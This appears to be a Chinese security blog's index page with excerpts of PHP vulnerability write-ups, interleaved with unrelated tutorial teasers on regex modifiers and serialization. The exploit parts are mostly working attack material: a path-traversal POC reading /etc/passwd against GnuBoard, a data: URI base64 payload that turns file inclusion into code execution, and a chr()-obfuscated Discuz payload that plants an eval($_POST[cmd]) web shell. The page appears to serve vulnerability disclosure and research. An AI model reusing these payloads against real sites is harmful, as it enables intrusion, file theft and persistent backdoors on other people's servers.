by Ryat[puretot]
mail: puretot at gmail dot com
team: http://www.80vul.com
发现时间 2008-10-02
公开时间 2011-02-27
漏洞影响版本 2.1.0 2.1.1
状态 已修补
漏洞代码如下:
// go.php
$q_url=$_SERVER["REQUEST_URI"];
@list($relativePath, $rawURL)=@explode(‘/go.php/’, $q_url);
$rewritedURL=$rawURL; // 来自$_SERVER["REQUEST_URI"],可以任意提交的:)
…
$RewriteRules[]=”/component\/([^\/]+)\/?/”;
// 这个正则限制的不够细致,可以很轻易的绕过:)
… 阅读全文…
PHP正则表达式修饰符的应用是我们在进行PHP正则表达式开发的时候经常会使用的,那么关于PHP正则表达式修饰符我们需要掌握什么呢?那么本文就向你介绍详细内容。
我们在PHP正则表达式的学习中会碰到修饰符,那么关于PHP正则表达式修饰符的理解以及使用我们需要注意什么呢?那么我们来具体的看看它的概念以及相关内容。在学习PHP正则表达式修饰符之前先来理解下贪婪模式,前面在元字符中提到过”?”还有一个重要的作用,即”贪婪模式”,什么是”贪婪模式” 呢?
PHP正则表达式贪婪模式: 阅读全文…
#my5t3ry:这个利用比较特别,记录一下
By Flyh4t
http://bbs.wolvez.org/
GnuBoard是韩国比较常见的一个论坛,存在较多的漏洞,其中common.php存在一个文件包含漏洞
看common.php代码<!–more–>
@extract($_GET);
@extract($_POST);
@extract($_SERVER);
……
if (!$g4_path || preg_match(“/:\/\//”, $g4_path))
die(“<meta http-equiv=’content-type’ content=’text/html; charset=$g4[charset]‘><script language=’JavaScript’> alert(‘肋给等 规过栏肺 函荐啊 沥狼登菌嚼聪促.’); </script>”);
//if (!$g4_path) $g4_path = “.”;
$g4['path'] = $g4_path; //只限制了$g4_path不能有字符 ://
unset($g4_path);
include_once(“$g4[path]/lib/constant.php”); //本地文件包含漏洞
include_once(“$g4[path]/config.php”);
POC:
http://test.com/GnuBoard/common.php?g4_path=../../../../../../../etc/passwd%00
———————————————————————————–
在Ryat牛的提示下,这个本地包含晋升为远程代码执行漏洞。
bypass_local.php
<?php
if (!$g4_path || preg_match(“/:\/\//”, $g4_path))
die(“fuck”);
$g4['path'] = $g4_path;
unset($g4_path);
include_once(“$g4[path]/lib/constant.php”);
?>
在allow_url_include = On且PHP >= 5.2.0的条件下
提交bypass_local.php?g4_path=data:;base64,PD9waHBpbmZvKCk7Lyo=
成功执行phpinfo()
author:alibaba
global.func.php
function sendpm($toid, $subject, $message, $fromid = '') {
if($fromid === '') {
require_once DISCUZ_ROOT.'./uc_client/client.php';
$fromid = $discuz_uid;
}
if($fromid) {
uc_pm_send($fromid, $toid, $subject, $message);
} else {
global $promptkeys;
if(in_array($subject, $promptkeys)) {
$type = $subject;
} else {
extract($GLOBALS, EXTR_SKIP);
require_once DISCUZ_ROOT.'./include/discuzcode.func.php';
eval("\$message = addslashes(\"".$message."\");"); //无过滤,可插入代码
$type = 'systempm';
$message = '<div>'.$subject.' {time}'.discuzcode($message, 1, 0).'</div>';
}
sendnotice($toid, $message, $type);
}
}
POC:
1. admincp.php?frames=yes&action=members&operation=newsletter
2. 发短消息,通知内容为:{${phpinfo()}}
EXP - (fputs(fopen('forumdata/cache/cache_01.php','w'),'<?php eval($_POST[cmd])?>');) :
${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}
#my5t3ry:网上转的,记录一下
serialize()和unserialize()在php手册上的解释是:
serialize — Generates a storable representation of a value
serialize — 产生一个可存储的值的表示
unserialize — Creates a PHP value from a stored representation
unserialize — 从已存储的表示中创建 PHP 的值
很显然,”a stored representation“的解释翻译成了一 个可存储的值后依然很让人非常费解它的意思。
如果语言已经无法表述清楚,那么我们可以以一个具体的PHP的例子来学习这两个函数的用途 阅读全文…